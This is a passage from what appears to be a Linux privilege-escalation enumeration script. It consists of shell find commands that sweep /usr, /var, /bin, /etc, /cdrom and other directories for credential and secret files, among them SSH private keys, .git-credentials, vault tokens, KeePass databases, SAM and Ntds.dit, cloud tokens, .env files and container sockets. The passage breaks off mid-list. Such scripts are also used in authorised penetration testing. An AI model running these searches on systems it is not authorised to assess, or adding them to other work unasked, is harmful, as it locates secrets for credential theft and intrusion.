\"neo4j\" -o -name \"logstash\" -o -name \"couchdb\" -o -name \"ldap\" -o -name \"roundcube\" -o -name \"nginx\" -o -name \".cloudflared\" -o -name \"keyrings\" -o -name \".bluemix\" -o -name \".kube*\" -o -name \".irssi\" -o -name \".vnc\" -o -name \"filezilla\" -o -name \"mysql\" -o -name \".password-store\" -o -name \"zabbix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_USR=`eval_bckgrd "find /usr -type d -name \"seeddms*\" -o -name \".svn\" -o -name \"sentry\" -o -name \"cacti\" -o -name \"bind\" -o -name \"sites-enabled\" -o -name \"environments\" -o -name \"postfix\" -o -name \"neo4j\" -o -name \"logstash\" -o -name \"couchdb\" -o -name \"ldap\" -o -name \"roundcube\" -o -name \"nginx\" -o -name \".cloudflared\" -o -name \"keyrings\" -o -name \".bluemix\" -o -name \".kube*\" -o -name \".irssi\" -o -name \".vnc\" -o -name \"filezilla\" -o -name \"mysql\" -o -name \".password-store\" -o -name \"zabbix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_VAR=`eval_bckgrd "find /var -type d -name \"seeddms*\" -o -name \".svn\" -o -name \"sentry\" -o -name \"cacti\" -o -name \"bind\" -o -name \"sites-enabled\" -o -name \"environments\" -o -name \"postfix\" -o -name \"neo4j\" -o -name \"kubelet\" -o -name \"logstash\" -o -name \"couchdb\" -o -name \"ldap\" -o -name \"roundcube\" -o -name \"nginx\" -o -name \".cloudflared\" -o -name \"keyrings\" -o -name \"kube-proxy\" -o -name \".bluemix\" -o -name \".kube*\" -o -name \".irssi\" -o -name \".vnc\" -o -name \"filezilla\" -o -name \"mysql\" -o -name \".password-store\" -o -name \"zabbix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_APPLICATIONS=`eval_bckgrd "find /applications -name \"*.ftpconfig\" -o -name \"passwd.ibd\" -o -name \"winscp.ini\" -o -name \"gvm-tools.conf\" -o -name \"access.log\" -o -name \"ws_ftp.ini\" -o -name \"my.cnf\" -o -name \"hostapd.conf\" -o -name \"appcmd.exe\" -o -name \"password*.ibd\" -o -name \"id_rsa*\" -o -name \"ipsec.conf\" -o -name \"*vnc*.ini\" -o -name \"*.cer\" -o -name \"security.sav\" -o -name \"AppEvent.Evt\" -o -name \".secrets.mkey\" -o -name \"frakti.sock\" -o -name \"zabbix_server.conf\" -o -name \".vault-token\" -o -name \"gitlab.yml\" -o -name \"authorized_keys\" -o -name \"credentials.db\" -o -name \"cesi.conf\" -o -name \"000-default.conf\" -o -name \"ipsec.secrets\" -o -name \"bash.exe\" -o -name \".github\" -o -name \"KeePass.ini\" -o -name \"pagefile.sys\" -o -name \"db.php\" -o -name \"scclient.exe\" -o -name \"glusterfs.pem\" -o -name \"httpd.conf\" -o -name \"docker-compose.yml\" -o -name \"docker.sock\" -o -name \"postgresql.conf\" -o -name \"*.der\" -o -name \"pgadmin*.db\" -o -name \"dockershim.sock\" -o -name \"*.swp\" -o -name \"wp-config.php\" -o -name \"system.sav\" -o -name \"recentservers.xml\" -o -name \"error.log\" -o -name \"influxdb.conf\" -o -name \".plan\" -o -name \"rktlet.sock\" -o -name \".ldaprc\" -o -name \"unattend.xml\" -o -name \"autologin.conf\" -o -name \"*.timer\" -o -name \"*.keyring\" -o -name \"sitemanager.xml\" -o -name \"database.php\" -o -name \"FreeSSHDservice.ini\" -o -name \"*.kdbx\" -o -name \"ntuser.dat\" -o -name \"https.conf\" -o -name \"*password*\" -o -name \"SecEvent.Evt\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"sysprep.xml\" -o -name \"sites.ini\" -o -name \".sudo_as_admin_successful\" -o -name \"vault-ssh-helper.hcl\" -o -name \"id_dsa*\" -o -name \"*.crt\" -o -name \"scheduledtasks.xml\" -o -name \"*.gnupg\" -o -name \"php.ini\" -o -name \"TokenCache.dat\" -o -name \"fastcgi_params\" -o -name \"KeePass.enforced*\" -o -name \"*.db\" -o -name \"config.php\" -o -name \"*.keytab\" -o -name \"creds*\" -o -name \".htpasswd\" -o -name \"secrets.yml\" -o -name \"server.xml\" -o -name \".wgetrc\" -o -name \"ffftp.ini\" -o -name \".rhosts\" -o -name \"redis.conf\" -o -name \"sssd.conf\" -o -name \"*config*.php\" -o -name \".gitconfig\" -o -name \".profile\" -o -name \"*.csr\" -o -name \"ftp.ini\" -o -name \"unattend.txt\" -o -name \"nginx.conf\" -o -name \"access_tokens.json\" -o -name \".google_authenticator\" -o -name \"glusterfs.ca\" -o -name \"datasources.xml\" -o -name \"*.pem\" -o -name \"*vnc*.c*nf*\" -o -name \"kibana.y*ml\" -o -name \"azureProfile.json\" -o -name \"unattend.inf\" -o -name \"*.psk\" -o -name \"drives.xml\" -o -name \"access_tokens.db\" -o -name \"software\" -o -name \"passwd\" -o -name \"storage.php\" -o -name \"*.key\" -o -name \"ConsoleHost_history.txt\" -o -name \"Ntds.dit\" -o -name \"backups\" -o -name \"elasticsearch.y*ml\" -o -name \"rsyncd.secrets\" -o -name \"SYSTEM\" -o -name \"anaconda-ks.cfg\" -o -name \"gitlab.rm\" -o -name \"Dockerfile\" -o -name \"log4j-core*.jar\" -o -name \"hosts.equiv\" -o -name \"printers.xml\" -o -name \"*.rdg\" -o -name \"*.pgp\" -o -name \".lesshst\" -o -name \".git-credentials\" -o -name \"wcx_ftp.ini\" -o -name \"crio.sock\" -o -name \"ddclient.conf\" -o -name \"*.socket\" -o -name \"pgsql.conf\" -o -name \"setupinfo.bak\" -o -name \"snmpd.conf\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"authorized_hosts\" -o -name \"kadm5.acl\" -o -name \"unattended.xml\" -o -name \"default.sav\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"racoon.conf\" -o -name \"setupinfo\" -o -name \".recently-used.xbel\" -o -name \"KeePass.config*\" -o -name \"NetSetup.log\" -o -name \"*.viminfo\" -o -name \"supervisord.conf\" -o -name \"debian.cnf\" -o -name \"secrets.ldb\" -o -name \"filezilla.xml\" -o -name \"kcpassword\" -o -name \"groups.xml\" -o -name \"jetty-realm.properties\" -o -name \"*_history*\" -o -name \"backup\" -o -name \"*.service\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \"*.sqlite\" -o -name \"glusterfs.key\" -o -name \"https-xampp.conf\" -o -name \"mariadb.cnf\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"protecteduserkey.bin\" -o -name \"web*.config\" -o -name \"*.ovpn\" -o -name \"software.sav\" -o -name \"*vnc*.txt\" -o -name \"settings.php\" -o -name \"legacy_credentials.db\" -o -name \"AzureRMContext.json\" -o -name \"containerd.sock\" -o -name \"*.sqlite3\" -o -name \"rsyncd.conf\" -o -name \"psk.txt\" -o -name \"RDCMan.settings\" -o -name \"my.ini\" -o -name \"sysprep.inf\" -o -name \".git\" -o -name \"*.jks\" -o -name \"zabbix_agentd.conf\" -o -name \"mongod*.conf\" -o -name \"tomcat-users.xml\" -o -name \"rocketchat.service\" -o -name \"pg_hba.conf\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"iis6.log\" -o -name \"cloud.cfg\" -o -name \"ftp.config\" -o -name \".erlang.cookie\" -o -name \".msmtprc\" -o -name \"*.gpg\" -o -name \".bashrc\" -o -name \"*.pfx\" -o -name \".pypirc\" -o -name \".env\" -o -name \"mosquitto.conf\" -o -name \"*vnc*.xml\" -o -name \"docker.socket\" -o -name \"autologin\" -o -name \"sentry.conf.py\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_BIN=`eval_bckgrd "find /bin -name \"*.ftpconfig\" -o -name \"passwd.ibd\" -o -name \"winscp.ini\" -o -name \"gvm-tools.conf\" -o -name \"access.log\" -o -name \"ws_ftp.ini\" -o -name \"my.cnf\" -o -name \"hostapd.conf\" -o -name \"appcmd.exe\" -o -name \"password*.ibd\" -o -name \"id_rsa*\" -o -name \"ipsec.conf\" -o -name \"*vnc*.ini\" -o -name \"*.cer\" -o -name \"security.sav\" -o -name \"AppEvent.Evt\" -o -name \".secrets.mkey\" -o -name \"frakti.sock\" -o -name \"zabbix_server.conf\" -o -name \".vault-token\" -o -name \"gitlab.yml\" -o -name \"authorized_keys\" -o -name \"credentials.db\" -o -name \"cesi.conf\" -o -name \"000-default.conf\" -o -name \"ipsec.secrets\" -o -name \"bash.exe\" -o -name \".github\" -o -name \"KeePass.ini\" -o -name \"pagefile.sys\" -o -name \"db.php\" -o -name \"scclient.exe\" -o -name \"glusterfs.pem\" -o -name \"httpd.conf\" -o -name \"docker-compose.yml\" -o -name \"docker.sock\" -o -name \"postgresql.conf\" -o -name \"*.der\" -o -name \"pgadmin*.db\" -o -name \"dockershim.sock\" -o -name \"*.swp\" -o -name \"wp-config.php\" -o -name \"system.sav\" -o -name \"recentservers.xml\" -o -name \"error.log\" -o -name \"influxdb.conf\" -o -name \".plan\" -o -name \"rktlet.sock\" -o -name \".ldaprc\" -o -name \"unattend.xml\" -o -name \"autologin.conf\" -o -name \"*.timer\" -o -name \"*.keyring\" -o -name \"sitemanager.xml\" -o -name \"database.php\" -o -name \"FreeSSHDservice.ini\" -o -name \"*.kdbx\" -o -name \"ntuser.dat\" -o -name \"https.conf\" -o -name \"*password*\" -o -name \"SecEvent.Evt\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"sysprep.xml\" -o -name \"sites.ini\" -o -name \".sudo_as_admin_successful\" -o -name \"vault-ssh-helper.hcl\" -o -name \"id_dsa*\" -o -name \"*.crt\" -o -name \"scheduledtasks.xml\" -o -name \"*.gnupg\" -o -name \"php.ini\" -o -name \"TokenCache.dat\" -o -name \"fastcgi_params\" -o -name \"KeePass.enforced*\" -o -name \"*.db\" -o -name \"config.php\" -o -name \"*.keytab\" -o -name \"creds*\" -o -name \".htpasswd\" -o -name \"secrets.yml\" -o -name \"server.xml\" -o -name \".wgetrc\" -o -name \"ffftp.ini\" -o -name \".rhosts\" -o -name \"redis.conf\" -o -name \"sssd.conf\" -o -name \"*config*.php\" -o -name \".gitconfig\" -o -name \".profile\" -o -name \"*.csr\" -o -name \"ftp.ini\" -o -name \"unattend.txt\" -o -name \"nginx.conf\" -o -name \"access_tokens.json\" -o -name \".google_authenticator\" -o -name \"glusterfs.ca\" -o -name \"datasources.xml\" -o -name \"*.pem\" -o -name \"*vnc*.c*nf*\" -o -name \"kibana.y*ml\" -o -name \"azureProfile.json\" -o -name \"unattend.inf\" -o -name \"*.psk\" -o -name \"drives.xml\" -o -name \"access_tokens.db\" -o -name \"software\" -o -name \"passwd\" -o -name \"storage.php\" -o -name \"*.key\" -o -name \"ConsoleHost_history.txt\" -o -name \"Ntds.dit\" -o -name \"backups\" -o -name \"elasticsearch.y*ml\" -o -name \"rsyncd.secrets\" -o -name \"SYSTEM\" -o -name \"anaconda-ks.cfg\" -o -name \"gitlab.rm\" -o -name \"Dockerfile\" -o -name \"log4j-core*.jar\" -o -name \"hosts.equiv\" -o -name \"printers.xml\" -o -name \"*.rdg\" -o -name \"*.pgp\" -o -name \".lesshst\" -o -name \".git-credentials\" -o -name \"wcx_ftp.ini\" -o -name \"crio.sock\" -o -name \"ddclient.conf\" -o -name \"*.socket\" -o -name \"pgsql.conf\" -o -name \"setupinfo.bak\" -o -name \"snmpd.conf\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"authorized_hosts\" -o -name \"kadm5.acl\" -o -name \"unattended.xml\" -o -name \"default.sav\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"racoon.conf\" -o -name \"setupinfo\" -o -name \".recently-used.xbel\" -o -name \"KeePass.config*\" -o -name \"NetSetup.log\" -o -name \"*.viminfo\" -o -name \"supervisord.conf\" -o -name \"debian.cnf\" -o -name \"secrets.ldb\" -o -name \"filezilla.xml\" -o -name \"kcpassword\" -o -name \"groups.xml\" -o -name \"jetty-realm.properties\" -o -name \"*_history*\" -o -name \"backup\" -o -name \"*.service\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \"*.sqlite\" -o -name \"glusterfs.key\" -o -name \"https-xampp.conf\" -o -name \"mariadb.cnf\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"protecteduserkey.bin\" -o -name \"web*.config\" -o -name \"*.ovpn\" -o -name \"software.sav\" -o -name \"*vnc*.txt\" -o -name \"settings.php\" -o -name \"legacy_credentials.db\" -o -name \"AzureRMContext.json\" -o -name \"containerd.sock\" -o -name \"*.sqlite3\" -o -name \"rsyncd.conf\" -o -name \"psk.txt\" -o -name \"RDCMan.settings\" -o -name \"my.ini\" -o -name \"sysprep.inf\" -o -name \".git\" -o -name \"*.jks\" -o -name \"zabbix_agentd.conf\" -o -name \"mongod*.conf\" -o -name \"tomcat-users.xml\" -o -name \"rocketchat.service\" -o -name \"pg_hba.conf\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"iis6.log\" -o -name \"cloud.cfg\" -o -name \"ftp.config\" -o -name \".erlang.cookie\" -o -name \".msmtprc\" -o -name \"*.gpg\" -o -name \".bashrc\" -o -name \"*.pfx\" -o -name \".pypirc\" -o -name \".env\" -o -name \"mosquitto.conf\" -o -name \"*vnc*.xml\" -o -name \"docker.socket\" -o -name \"autologin\" -o -name \"sentry.conf.py\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_CACHE=`eval_bckgrd "find /.cache -name \"*.ftpconfig\" -o -name \"passwd.ibd\" -o -name \"winscp.ini\" -o -name \"gvm-tools.conf\" -o -name \"access.log\" -o -name \"ws_ftp.ini\" -o -name \"my.cnf\" -o -name \"hostapd.conf\" -o -name \"appcmd.exe\" -o -name \"password*.ibd\" -o -name \"id_rsa*\" -o -name \"ipsec.conf\" -o -name \"*vnc*.ini\" -o -name \"*.cer\" -o -name \"security.sav\" -o -name \"AppEvent.Evt\" -o -name \".secrets.mkey\" -o -name \"frakti.sock\" -o -name \"zabbix_server.conf\" -o -name \".vault-token\" -o -name \"gitlab.yml\" -o -name \"authorized_keys\" -o -name \"credentials.db\" -o -name \"cesi.conf\" -o -name \"000-default.conf\" -o -name \"ipsec.secrets\" -o -name \"bash.exe\" -o -name \".github\" -o -name \"KeePass.ini\" -o -name \"pagefile.sys\" -o -name \"db.php\" -o -name \"scclient.exe\" -o -name \"glusterfs.pem\" -o -name \"httpd.conf\" -o -name \"docker-compose.yml\" -o -name \"docker.sock\" -o -name \"postgresql.conf\" -o -name \"*.der\" -o -name \"pgadmin*.db\" -o -name \"dockershim.sock\" -o -name \"*.swp\" -o -name \"wp-config.php\" -o -name \"system.sav\" -o -name \"recentservers.xml\" -o -name \"error.log\" -o -name \"influxdb.conf\" -o -name \".plan\" -o -name \"rktlet.sock\" -o -name \".ldaprc\" -o -name \"unattend.xml\" -o -name \"autologin.conf\" -o -name \"*.timer\" -o -name \"*.keyring\" -o -name \"sitemanager.xml\" -o -name \"database.php\" -o -name \"FreeSSHDservice.ini\" -o -name \"*.kdbx\" -o -name \"ntuser.dat\" -o -name \"https.conf\" -o -name \"*password*\" -o -name \"SecEvent.Evt\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"sysprep.xml\" -o -name \"sites.ini\" -o -name \".sudo_as_admin_successful\" -o -name \"vault-ssh-helper.hcl\" -o -name \"id_dsa*\" -o -name \"*.crt\" -o -name \"scheduledtasks.xml\" -o -name \"*.gnupg\" -o -name \"php.ini\" -o -name \"TokenCache.dat\" -o -name \"fastcgi_params\" -o -name \"KeePass.enforced*\" -o -name \"*.db\" -o -name \"config.php\" -o -name \"*.keytab\" -o -name \"creds*\" -o -name \".htpasswd\" -o -name \"secrets.yml\" -o -name \"server.xml\" -o -name \".wgetrc\" -o -name \"ffftp.ini\" -o -name \".rhosts\" -o -name \"redis.conf\" -o -name \"sssd.conf\" -o -name \"*config*.php\" -o -name \".gitconfig\" -o -name \".profile\" -o -name \"*.csr\" -o -name \"ftp.ini\" -o -name \"unattend.txt\" -o -name \"nginx.conf\" -o -name \"access_tokens.json\" -o -name \".google_authenticator\" -o -name \"glusterfs.ca\" -o -name \"datasources.xml\" -o -name \"*.pem\" -o -name \"*vnc*.c*nf*\" -o -name \"kibana.y*ml\" -o -name \"azureProfile.json\" -o -name \"unattend.inf\" -o -name \"*.psk\" -o -name \"drives.xml\" -o -name \"access_tokens.db\" -o -name \"software\" -o -name \"passwd\" -o -name \"storage.php\" -o -name \"*.key\" -o -name \"ConsoleHost_history.txt\" -o -name \"Ntds.dit\" -o -name \"backups\" -o -name \"elasticsearch.y*ml\" -o -name \"rsyncd.secrets\" -o -name \"SYSTEM\" -o -name \"anaconda-ks.cfg\" -o -name \"gitlab.rm\" -o -name \"Dockerfile\" -o -name \"log4j-core*.jar\" -o -name \"hosts.equiv\" -o -name \"printers.xml\" -o -name \"*.rdg\" -o -name \"*.pgp\" -o -name \".lesshst\" -o -name \".git-credentials\" -o -name \"wcx_ftp.ini\" -o -name \"crio.sock\" -o -name \"ddclient.conf\" -o -name \"*.socket\" -o -name \"pgsql.conf\" -o -name \"setupinfo.bak\" -o -name \"snmpd.conf\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"authorized_hosts\" -o -name \"kadm5.acl\" -o -name \"unattended.xml\" -o -name \"default.sav\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"racoon.conf\" -o -name \"setupinfo\" -o -name \".recently-used.xbel\" -o -name \"KeePass.config*\" -o -name \"NetSetup.log\" -o -name \"*.viminfo\" -o -name \"supervisord.conf\" -o -name \"debian.cnf\" -o -name \"secrets.ldb\" -o -name \"filezilla.xml\" -o -name \"kcpassword\" -o -name \"groups.xml\" -o -name \"jetty-realm.properties\" -o -name \"*_history*\" -o -name \"backup\" -o -name \"*.service\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \"*.sqlite\" -o -name \"glusterfs.key\" -o -name \"https-xampp.conf\" -o -name \"mariadb.cnf\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"protecteduserkey.bin\" -o -name \"web*.config\" -o -name \"*.ovpn\" -o -name \"software.sav\" -o -name \"*vnc*.txt\" -o -name \"settings.php\" -o -name \"legacy_credentials.db\" -o -name \"AzureRMContext.json\" -o -name \"containerd.sock\" -o -name \"*.sqlite3\" -o -name \"rsyncd.conf\" -o -name \"psk.txt\" -o -name \"RDCMan.settings\" -o -name \"my.ini\" -o -name \"sysprep.inf\" -o -name \".git\" -o -name \"*.jks\" -o -name \"zabbix_agentd.conf\" -o -name \"mongod*.conf\" -o -name \"tomcat-users.xml\" -o -name \"rocketchat.service\" -o -name \"pg_hba.conf\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"iis6.log\" -o -name \"cloud.cfg\" -o -name \"ftp.config\" -o -name \".erlang.cookie\" -o -name \".msmtprc\" -o -name \"*.gpg\" -o -name \".bashrc\" -o -name \"*.pfx\" -o -name \".pypirc\" -o -name \".env\" -o -name \"mosquitto.conf\" -o -name \"*vnc*.xml\" -o -name \"docker.socket\" -o -name \"autologin\" -o -name \"sentry.conf.py\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_CDROM=`eval_bckgrd "find /cdrom -name \"*.ftpconfig\" -o -name \"passwd.ibd\" -o -name \"winscp.ini\" -o -name \"gvm-tools.conf\" -o -name \"access.log\" -o -name \"ws_ftp.ini\" -o -name \"my.cnf\" -o -name \"hostapd.conf\" -o -name \"appcmd.exe\" -o -name \"password*.ibd\" -o -name \"id_rsa*\" -o -name \"ipsec.conf\" -o -name \"*vnc*.ini\" -o -name \"*.cer\" -o -name \"security.sav\" -o -name \"AppEvent.Evt\" -o -name \".secrets.mkey\" -o -name \"frakti.sock\" -o -name \"zabbix_server.conf\" -o -name \".vault-token\" -o -name \"gitlab.yml\" -o -name \"authorized_keys\" -o -name \"credentials.db\" -o -name \"cesi.conf\" -o -name \"000-default.conf\" -o -name \"ipsec.secrets\" -o -name \"bash.exe\" -o -name \".github\" -o -name \"KeePass.ini\" -o -name \"pagefile.sys\" -o -name \"db.php\" -o -name \"scclient.exe\" -o -name \"glusterfs.pem\" -o -name \"httpd.conf\" -o -name \"docker-compose.yml\" -o -name \"docker.sock\" -o -name \"postgresql.conf\" -o -name \"*.der\" -o -name \"pgadmin*.db\" -o -name \"dockershim.sock\" -o -name \"*.swp\" -o -name \"wp-config.php\" -o -name \"system.sav\" -o -name \"recentservers.xml\" -o -name \"error.log\" -o -name \"influxdb.conf\" -o -name \".plan\" -o -name \"rktlet.sock\" -o -name \".ldaprc\" -o -name \"unattend.xml\" -o -name \"autologin.conf\" -o -name \"*.timer\" -o -name \"*.keyring\" -o -name \"sitemanager.xml\" -o -name \"database.php\" -o -name \"FreeSSHDservice.ini\" -o -name \"*.kdbx\" -o -name \"ntuser.dat\" -o -name \"https.conf\" -o -name \"*password*\" -o -name \"SecEvent.Evt\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"sysprep.xml\" -o -name \"sites.ini\" -o -name \".sudo_as_admin_successful\" -o -name \"vault-ssh-helper.hcl\" -o -name \"id_dsa*\" -o -name \"*.crt\" -o -name \"scheduledtasks.xml\" -o -name \"*.gnupg\" -o -name \"php.ini\" -o -name \"TokenCache.dat\" -o -name \"fastcgi_params\" -o -name \"KeePass.enforced*\" -o -name \"*.db\" -o -name \"config.php\" -o -name \"*.keytab\" -o -name \"creds*\" -o -name \".htpasswd\" -o -name \"secrets.yml\" -o -name \"server.xml\" -o -name \".wgetrc\" -o -name \"ffftp.ini\" -o -name \".rhosts\" -o -name \"redis.conf\" -o -name \"sssd.conf\" -o -name \"*config*.php\" -o -name \".gitconfig\" -o -name \".profile\" -o -name \"*.csr\" -o -name \"ftp.ini\" -o -name \"unattend.txt\" -o -name \"nginx.conf\" -o -name \"access_tokens.json\" -o -name \".google_authenticator\" -o -name \"glusterfs.ca\" -o -name \"datasources.xml\" -o -name \"*.pem\" -o -name \"*vnc*.c*nf*\" -o -name \"kibana.y*ml\" -o -name \"azureProfile.json\" -o -name \"unattend.inf\" -o -name \"*.psk\" -o -name \"drives.xml\" -o -name \"access_tokens.db\" -o -name \"software\" -o -name \"passwd\" -o -name \"storage.php\" -o -name \"*.key\" -o -name \"ConsoleHost_history.txt\" -o -name \"Ntds.dit\" -o -name \"backups\" -o -name \"elasticsearch.y*ml\" -o -name \"rsyncd.secrets\" -o -name \"SYSTEM\" -o -name \"anaconda-ks.cfg\" -o -name \"gitlab.rm\" -o -name \"Dockerfile\" -o -name \"log4j-core*.jar\" -o -name \"hosts.equiv\" -o -name \"printers.xml\" -o -name \"*.rdg\" -o -name \"*.pgp\" -o -name \".lesshst\" -o -name \".git-credentials\" -o -name \"wcx_ftp.ini\" -o -name \"crio.sock\" -o -name \"ddclient.conf\" -o -name \"*.socket\" -o -name \"pgsql.conf\" -o -name \"setupinfo.bak\" -o -name \"snmpd.conf\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"authorized_hosts\" -o -name \"kadm5.acl\" -o -name \"unattended.xml\" -o -name \"default.sav\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"racoon.conf\" -o -name \"setupinfo\" -o -name \".recently-used.xbel\" -o -name \"KeePass.config*\" -o -name \"NetSetup.log\" -o -name \"*.viminfo\" -o -name \"supervisord.conf\" -o -name \"debian.cnf\" -o -name \"secrets.ldb\" -o -name \"filezilla.xml\" -o -name \"kcpassword\" -o -name \"groups.xml\" -o -name \"jetty-realm.properties\" -o -name \"*_history*\" -o -name \"backup\" -o -name \"*.service\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \"*.sqlite\" -o -name \"glusterfs.key\" -o -name \"https-xampp.conf\" -o -name \"mariadb.cnf\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"protecteduserkey.bin\" -o -name \"web*.config\" -o -name \"*.ovpn\" -o -name \"software.sav\" -o -name \"*vnc*.txt\" -o -name \"settings.php\" -o -name \"legacy_credentials.db\" -o -name \"AzureRMContext.json\" -o -name \"containerd.sock\" -o -name \"*.sqlite3\" -o -name \"rsyncd.conf\" -o -name \"psk.txt\" -o -name \"RDCMan.settings\" -o -name \"my.ini\" -o -name \"sysprep.inf\" -o -name \".git\" -o -name \"*.jks\" -o -name \"zabbix_agentd.conf\" -o -name \"mongod*.conf\" -o -name \"tomcat-users.xml\" -o -name \"rocketchat.service\" -o -name \"pg_hba.conf\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"iis6.log\" -o -name \"cloud.cfg\" -o -name \"ftp.config\" -o -name \".erlang.cookie\" -o -name \".msmtprc\" -o -name \"*.gpg\" -o -name \".bashrc\" -o -name \"*.pfx\" -o -name \".pypirc\" -o -name \".env\" -o -name \"mosquitto.conf\" -o -name \"*vnc*.xml\" -o -name \"docker.socket\" -o -name \"autologin\" -o -name \"sentry.conf.py\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_ETC=`eval_bckgrd "find /etc -name \"*.ftpconfig\" -o -name \"passwd.ibd\" -o -name \"winscp.ini\" -o -name \"gvm-tools.conf\" -o -name \"access.log\" -o -name \"ws_ftp.ini\" -o -name \"my.cnf\" -o -name \"hostapd.conf\" -o -name \"appcmd.exe\" -o -name \"password*.ibd\" -o -name \"id_rsa*\" -o -name \"ipsec.conf\" -o -name \"*vnc*.ini\" -o -name \"*.cer\" -o -name \"security.sav\" -o -name \"AppEvent.Evt\" -o -name \".secrets.mkey\" -o -name \"frakti.sock\" -o -name \"zabbix_server.conf\" -o -name \".vault-token\" -o -name \"gitlab.yml\" -o -name \"authorized_keys\" -o -name \"credentials.db\" -o -name \"cesi.conf\" -o -name \"000-default.conf\" -o -name \"ipsec.secrets\" -o -name \"bash.exe\" -o -name \".github\" -o -name \"KeePass.ini\" -o -name \"pagefile.sys\" -o -name \"db.php\" -o -name \"scclient.exe\" -o -name \"glusterfs.pem\" -o -name \"httpd.conf\" -o -name \"docker-compose.yml\" -o -name \"docker.sock\" -o -name \"postgresql.conf\" -o -name \"*.der\" -o -name \"pgadmin*.db\" -o -name \"dockershim.sock\" -o -name \"*.swp\" -o -name \"wp-config.php\" -o -name \"system.sav\" -o -name \"recentservers.xml\" -o -name \"error.log\" -o -name \"influxdb.conf\" -o -name \".plan\" -o -name \"rktlet.sock\" -o -name \".ldaprc\" -o -name \"unattend.xml\" -o -name \"autologin.conf\" -o -name \"*.timer\" -o -name \"*.keyring\" -o -name \"sitemanager.xml\" -o -name \"database.php\" -o -name \"FreeSSHDservice.ini\" -o -name \"*.kdbx\" -o -name \"ntuser.dat\" -o -name \"https.conf\" -o -name \"*password*\" -o -name \"SecEvent.Evt\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"sysprep.xml\" -o -name \"sites.ini\" -o -name \".sudo_as_admin_successful\" -o -name \"vault-ssh-helper.hcl\" -o -name \"id_dsa*\" -o -name \"*.crt\" -o -name \"scheduledtasks.xml\" -o -name \"*.gnupg\" -o -name \"php.ini\" -o -name \"TokenCache.dat\" -o -name \"fastcgi_params\" -o -name \"KeePass.enforced*\" -o -name \"*.db\" -o -name \"config.php\" -o -name \"*.keytab\" -o -name \"creds*\" -o -name \".htpasswd\" -o -name \"secrets.yml\" -o -name \"server.xml\" -o -name \".wgetrc\" -o -name \"ffftp.ini\" -o -name \".rhosts\" -o -name \"redis.conf\" -o -name \"sssd.conf\" -o -name \"*config*.php\" -o -name \".gitconfig\" -o -name \".profile\" -o -name \"*.csr\" -o -name \"ftp.ini\" -o -name \"unattend.txt\" -o -name \"nginx.conf\" -o -name \"access_tokens.json\" -o -name \"*knockd*\" -o -name \".google_authenticator\" -o -name \"glusterfs.ca\" -o -name \"datasources.xml\" -o -name \"*.pem\" -o -name \"*vnc*.c*nf*\" -o -name \"kibana.y*ml\" -o -name \"azureProfile.json\" -o -name \"unattend.inf\" -o -name \"*.psk\" -o -name \"drives.xml\" -o -name \"access_tokens.db\" -o -name \"software\" -o -name \"passwd\" -o -name \"storage.php\" -o -name \"*.key\" -o -name \"ConsoleHost_history.txt\" -o -name \"Ntds.dit\" -o -name \"backups\" -o -name \"elasticsearch.y*ml\" -o -name \"rsyncd.secrets\" -o -name \"SYSTEM\" -o -name \"anaconda-ks.cfg\" -o -name \"gitlab.rm\" -o -name \"Dockerfile\" -o -name \"log4j-core*.jar\" -o -name \"hosts.equiv\" -o -name \"printers.xml\" -o -name \"*.rdg\" -o -name \"*.pgp\" -o -name \".lesshst\" -o -name \".git-credentials\" -o -name \"wcx_ftp.ini\" -o -name \"exports\" -o -name \"crio.sock\" -o -name \"ddclient.conf\" -o -name \"*.socket\" -o -name \"pgsql.conf\" -o -name \"setupinfo.bak\" -o -name \"snmpd.conf\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"authorized_hosts\" -o -name \"kadm5.acl\" -o -name \"unattended.xml\" -o -name \"default.sav\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"racoon.conf\" -o -name \"setupinfo\" -o -name \".recently-used.xbel\" -o -name \"KeePass.config*\" -o -name \"NetSetup.log\" -o -name \"*.viminfo\" -o -name \"supervisord.conf\" -o -name \"debian.cnf\" -o -name \"secrets.ldb\" -o -name \"filezilla.xml\" -o -name \"kcpassword\" -o -name \"groups.xml\" -o -name \"jetty-realm.properties\" -o -name \"*_history*\" -o -name \"backup\" -o -name \"*.service\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \"*.sqlite\" -o -name \"glusterfs.key\" -o -name \"https-xampp.conf\" -o -name \"mariadb.cnf\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name 